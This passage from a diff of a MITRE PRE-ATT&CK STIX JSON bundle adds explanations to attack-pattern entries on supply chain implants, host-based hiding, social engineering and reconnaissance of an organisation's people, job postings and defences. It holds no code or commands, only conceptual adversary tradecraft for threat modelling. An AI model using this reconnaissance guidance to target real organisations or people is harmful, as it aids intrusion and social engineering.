+            "description": "Analysts may receive Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from leadership or key decision makers and generate intelligence requirements to articulate intricacies of information required on a topic or question. (Citation: Herring1999)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3223,16 +3401,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--388f3a5c-2cdd-466c-9159-b507fa429fcd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Hardware or software supply chain implant",
-            "description": "During production and distribution, the placement of software, firmware, or a CPU chip in a computer, handheld, or other electronic device that enables an adversary to gain illegal entrance. (Citation: McDRecall) (Citation: SeagateMaxtor)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "During production and distribution, the placement of software, firmware, or a CPU chip in a computer, handheld, or other electronic device that enables an adversary to gain illegal entrance. (Citation: McDRecall) (Citation: SeagateMaxtor)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The number of elements and components in a supply chain of HW or SW is vast and detecting an implant is complex for SW, but more complex for HW.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Access to the supply chain by an adversary can be a challenging endeavor, depending on what element is attempting to be subverted.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3258,16 +3438,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "The number of elements and components in a supply chain of HW or SW is vast and detecting an implant is complex for SW, but more complex for HW.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Access to the supply chain by an adversary can be a challenging endeavor, depending on what element is attempting to be subverted."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--6f088e84-37b2-44de-8df3-393908f2d77b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Host-based hiding techniques",
-            "description": "Host based hiding techniques are designed to allow an adversary to remain undetected on a machine upon which they have taken action. They may do this through the use of  static linking of binaries, polymorphic code, exploiting weakness in file formats, parsers, or self-deleting code. (Citation: VirutAP)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "Host based hiding techniques are designed to allow an adversary to remain undetected on a machine upon which they have taken action. They may do this through the use of  static linking of binaries, polymorphic code, exploiting weakness in file formats, parsers, or self-deleting code. (Citation: VirutAP)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Techniques are difficult to detect and might occur in uncommon use-cases (e.g., patching, anti-malware, anti-exploitation software).\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Some of the host-based hiding techniques require advanced knowledge combined with an understanding and awareness of the target's environment (e.g., exploiting weaknesses in  file formats, parsers and detection capabilities).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3289,16 +3471,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Techniques are difficult to detect and might occur in uncommon use-cases (e.g., patching, anti-malware, anti-exploitation software).",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Some of the host-based hiding techniques require advanced knowledge combined with an understanding and awareness of the target's environment (e.g., exploiting weaknesses in  file formats, parsers and detection capabilities)."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--fb39384c-00e4-414a-88af-e80c4904e0b8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Human performs requested action of physical nature",
-            "description": "Through social engineering or other methods, an adversary can get users to perform physical actions that provide access to an adversary.  This could include providing a password over the phone or inserting a 'found' CD or USB into a system. (Citation: AnonHBGary) (Citation: CSOInsideOutside)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Through social engineering or other methods, an adversary can get users to perform physical actions that provide access to an adversary.  This could include providing a password over the phone or inserting a 'found' CD or USB into a system. (Citation: AnonHBGary) (Citation: CSOInsideOutside)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Non-hypersensing environments do not typically collect this level of detailed information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Ill-informed users insert devices into their network that they randomly find, despite training educating them why this is not a wise idea.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3324,16 +3508,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Non-hypersensing environments do not typically collect this level of detailed information.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Ill-informed users insert devices into their network that they randomly find, despite training educating them why this is not a wise idea."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--0fad2267-9f46-4ebb-91b5-d543243732cb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify analyst level gaps",
-            "description": "Analysts identify gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: BrighthubGapAnalysis) (Citation: ICD115) (Citation: JP2-01)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Analysts identify gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: BrighthubGapAnalysis) (Citation: ICD115) (Citation: JP2-01)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3363,16 +3549,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--1f82ef59-b7da-4cd3-a41c-2e80f80f084f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify business processes/tempo",
-            "description": "Understanding an organizations business processes and tempo may allow an adversary to more effectively craft social engineering attempts or to better hide technical actions, such as those that generate network traffic. (Citation: Scasny2015) (Citation: Infosec-osint)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "Understanding an organizations business processes and tempo may allow an adversary to more effectively craft social engineering attempts or to better hide technical actions, such as those that generate network traffic. (Citation: Scasny2015) (Citation: Infosec-osint)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Current or previous employees may divulge information on the Internet.  If insiders are used, the defender may have policies or tools in place to detect loss of this data or knowledge.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: In some cases, this requires some insider knowledge or specialized access to learn when critical operations occur in a corporation.  For publicly traded US corporations, there is a lot of open source information about their financial reporting obligations (per SEC).  Companies announce their annual shareholder meeting and their quarter phone calls with investors.  Information such as this can help the adversary to glean certain aspects of the business processes and/or rhythm.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3398,16 +3586,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Current or previous employees may divulge information on the Internet.  If insiders are used, the defender may have policies or tools in place to detect loss of this data or knowledge.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "In some cases, this requires some insider knowledge or specialized access to learn when critical operations occur in a corporation.  For publicly traded US corporations, there is a lot of open source information about their financial reporting obligations (per SEC).  Companies announce their annual shareholder meeting and their quarter phone calls with investors.  Information such as this can help the adversary to glean certain aspects of the business processes and/or rhythm."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--5b6ce031-bb86-407a-9984-2b9700ac4549",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify business relationships",
-            "description": "Business relationship information includes the associates of a target and may be discovered via social media sites such as [https://www.linkedin.com LinkedIn] or public press releases announcing new partnerships between organizations or people (such as key hire announcements in industry articles).  This information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: RSA-APTRecon) (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Business relationship information includes the associates of a target and may be discovered via social media sites such as [https://www.linkedin.com LinkedIn] or public press releases announcing new partnerships between organizations or people (such as key hire announcements in industry articles).  This information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: RSA-APTRecon) (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.  Much of this information is widely known and difficult to obscure.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Made easier by today's current social media.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3433,16 +3623,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender.  Much of this information is widely known and difficult to obscure.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Made easier by today's current social media."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--73e7d7d5-1782-4cd0-a4d7-00c7ec051c2a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify business relationships",
-            "description": "Business relationship information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: 11StepsAttackers)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Business relationship information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: 11StepsAttackers)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Exception to the rule is if the adversary tips off the target that others have been asking about the relationship with them.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Requires an intensive process.  In some industries, business relationships may be public in order to generate business, but this is not the case for all industries and all relationships.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3464,16 +3656,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Exception to the rule is if the adversary tips off the target that others have been asking about the relationship with them.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Requires an intensive process.  In some industries, business relationships may be public in order to generate business, but this is not the case for all industries and all relationships."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--d778cb83-2292-4995-b006-d38f52bc1e64",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify gap areas",
-            "description": "Leadership identifies gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: ODNIIntegration) (Citation: ICD115)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Leadership identifies gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: ODNIIntegration) (Citation: ICD115)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3499,16 +3693,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--89a79d91-53e0-4ef5-ba28-558cb8b01f76",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify groups/roles",
-            "description": "Personnel internally to a company may belong to a group or maintain a role with  electronic specialized access, authorities, or privilege that make them an attractive target for an adversary.  One example of this is a system administrator. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "Personnel internally to a company may belong to a group or maintain a role with  electronic specialized access, authorities, or privilege that make them an attractive target for an adversary.  One example of this is a system administrator. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires an adversary to undergo an intensive research process.  It is resource intensive or requires special data access.  May be easier for certain specialty use cases.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3530,14 +3726,16 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Requires an adversary to undergo an intensive research process.  It is resource intensive or requires special data access.  May be easier for certain specialty use cases."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--0722cd65-0c83-4c89-9502-539198467ab1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify job postings and needs/gaps",
             "description": "Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary  information on people within the organization which could be valuable in social engineering attempts. (Citation: JobPostingThreat)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
             "kill_chain_phases": [
@@ -3568,9 +3766,9 @@
             "id": "attack-pattern--7718e92f-b011-4f88-b822-ae245a1de407",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify job postings and needs/gaps",
-            "description": "Job postings, on either company sites, or in other forums, provide information on organizational structure, needs, and gaps in an organization. This may give an adversary an indication of weakness in an organization (such as under-resourced IT shop). Job postings can also provide information on an organizations structure which could be valuable in social engineering attempts. (Citation: JobPostingThreat) (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Job postings, on either company sites, or in other forums, provide information on organizational structure, needs, and gaps in an organization. This may give an adversary an indication of weakness in an organization (such as under-resourced IT shop). Job postings can also provide information on an organizations structure which could be valuable in social engineering attempts. (Citation: JobPostingThreat) (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public source external to the defender's organization.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very public by design.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3596,16 +3794,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Public source external to the defender's organization.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Very public by design."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--c721b235-679a-4d76-9ae9-e08921fccf84",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify job postings and needs/gaps",
-            "description": "Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary  information on technologies within the organization which could be valuable in attack or provide insight in to possible security weaknesses or limitations in detection or protection mechanisms. (Citation: JobPostingThreat)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary  information on technologies within the organization which could be valuable in attack or provide insight in to possible security weaknesses or limitations in detection or protection mechanisms. (Citation: JobPostingThreat)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Impossible to differentiate between an adversary and a normal user when accessing open/public information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Publicly posted information by design.  Providing too much detail in the job posting could aid the adversary in learning more about the target's environment and possible technical weaknesses/deficiencies.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3627,16 +3827,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Impossible to differentiate between an adversary and a normal user when accessing open/public information.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Publicly posted information by design.  Providing too much detail in the job posting could aid the adversary in learning more about the target's environment and possible technical weaknesses/deficiencies."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--0c0f075b-5d69-43f2-90df-d9ad18f44624",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify people of interest",
-            "description": "The attempt to identify people of interest or with an inherent weakness for direct or indirect targeting to determine an approach to compromise a person or organization.  Such targets may include individuals with poor OPSEC practices or those who have a trusted relationship with the intended target. (Citation: RSA-APTRecon) (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "The attempt to identify people of interest or with an inherent weakness for direct or indirect targeting to determine an approach to compromise a person or organization.  Such targets may include individuals with poor OPSEC practices or those who have a trusted relationship with the intended target. (Citation: RSA-APTRecon) (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Common defenses protecting against poor OPSEC practices are traditionally more policy-based in nature rather than technical.  Policy-based mitigations are generally more difficult to enforce and track violations, making it more difficult that this technique can be detected by common defenses.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Specialty cases enable an adversary to use key words in order to search social media and identify personnel with poor OPSEC practices who may have access to specialized information which would make them a target of interest.  In addition, the open nature of social media leads to a tendency among individuals to overshare, encouraging poor OPSEC and increasing the ease by which an adversary can identify interesting targets.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3662,16 +3864,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Common defenses protecting against poor OPSEC practices are traditionally more policy-based in nature rather than technical.  Policy-based mitigations are generally more difficult to enforce and track violations, making it more difficult that this technique can be detected by common defenses.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Specialty cases enable an adversary to use key words in order to search social media and identify personnel with poor OPSEC practices who may have access to specialized information which would make them a target of interest.  In addition, the open nature of social media leads to a tendency among individuals to overshare, encouraging poor OPSEC and increasing the ease by which an adversary can identify interesting targets."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--762771c2-3675-4535-88e9-b1f891758974",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify personnel with an authority/privilege",
-            "description": "Personnel internally to a company may have non-electronic specialized access, authorities, or privilege that make them an attractive target for an adversary.  One example of this is an individual with financial authority to authorize large transactions.  An adversary who compromises this individual might be able to subvert large dollar transfers. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "Personnel internally to a company may have non-electronic specialized access, authorities, or privilege that make them an attractive target for an adversary.  One example of this is an individual with financial authority to authorize large transactions.  An adversary who compromises this individual might be able to subvert large dollar transfers. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The layers of data required and potential gaps of information to map a specific person to an authority or privilege on a network requires access to resources that may not tip off a defender.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires an adversary to undergo an intensive research process.  It is resource intensive or requires special data access.  May be easier for certain specialty use cases.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3693,16 +3897,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "The layers of data required and potential gaps of information to map a specific person to an authority or privilege on a network requires access to resources that may not tip off a defender.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Requires an adversary to undergo an intensive research process.  It is resource intensive or requires special data access.  May be easier for certain specialty use cases."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--c9fb4451-729d-4771-b205-52c1829f949c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify resources required to build capabilities",
-            "description": "As with legitimate development efforts, different skill sets may be required for different phases of an attack. The skills needed may be located in house, can be developed, or may need to be contracted out. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "As with legitimate development efforts, different skill sets may be required for different phases of an attack. The skills needed may be located in house, can be developed, or may need to be contracted out. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Recruitment is, by its nature, either clandestine or off the record.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Like target organizations, adversary organizations are competing to identify and hire top technical talent.  Training less technical staff is also a viable option.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3724,16 +3930,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Recruitment is, by its nature, either clandestine or off the record.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Like target organizations, adversary organizations are competing to identify and hire top technical talent.  Training less technical staff is also a viable option."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--04e93ca1-8415-4a46-8549-73b7c84f8dc3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify security defensive capabilities",
-            "description": "Security defensive capabilities are designed to stop or limit unauthorized network traffic or other types of accesses. (Citation: OSFingerprinting2014) (Citation: NMAP WAF NSE)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: No",
+            "description": "Security defensive capabilities are designed to stop or limit unauthorized network traffic or other types of accesses. (Citation: OSFingerprinting2014) (Citation: NMAP WAF NSE)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Technically, the defender has the ability to detect.  However, this is typically not performed as this type of traffic would likely not prompt the defender to take any actionable defense.  In addition, this would require the defender to closely review their access logs for any suspicious activity (if the activity is even logged).\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: The adversary will have some insight into defenses based on dropped traffic or filtered responses.  It is more difficult to pinpoint which defenses are implemented (e.g., [https://www.fireeye.com FireEye] WMPS, [https://www.hpe.com Hewlett Packard Enterprise] Tipping Point IPS).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3759,16 +3967,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Technically, the defender has the ability to detect.  However, this is typically not performed as this type of traffic would likely not prompt the defender to take any actionable defense.  In addition, this would require the defender to closely review their access logs for any suspicious activity (if the activity is even logged).",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "The adversary will have some insight into defenses based on dropped traffic or filtered responses.  It is more difficult to pinpoint which defenses are implemented (e.g., [https://www.fireeye.com FireEye] WMPS, [https://www.hpe.com Hewlett Packard Enterprise] Tipping Point IPS)."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--7dae871c-effc-444b-9962-4b7efefe7d40",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify sensitive personnel information",
